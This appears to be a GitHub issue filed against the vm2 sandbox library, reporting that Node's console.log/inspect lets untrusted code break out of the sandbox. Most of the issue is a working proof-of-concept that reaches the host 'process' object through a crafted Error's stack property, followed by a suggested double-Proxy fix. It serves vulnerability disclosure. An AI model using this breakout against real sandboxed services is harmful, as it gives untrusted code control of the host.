Skip to content

Breakout with console.log #241

@XmiliaH

Description

@XmiliaH

Because console.log uses inspect and inspect violates the proxy specs by directly interacting with the target, it is possible to escape through console.log.

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	const bad = new Error();
	bad.__proto__ = null;
	bad.stack = {
			startsWith(){
				return true;
			},
			length: 5,
			match(outer){
				throw outer.constructor.constructor("return process")();
			}
	};
	return bad;
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

Only idea I have so far is to double wrap objects from the vm in two Proxys. Inspect will remove the outer one but respect the second one.

This is new in node 12, maybe was there in 8, but likely not in 10.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions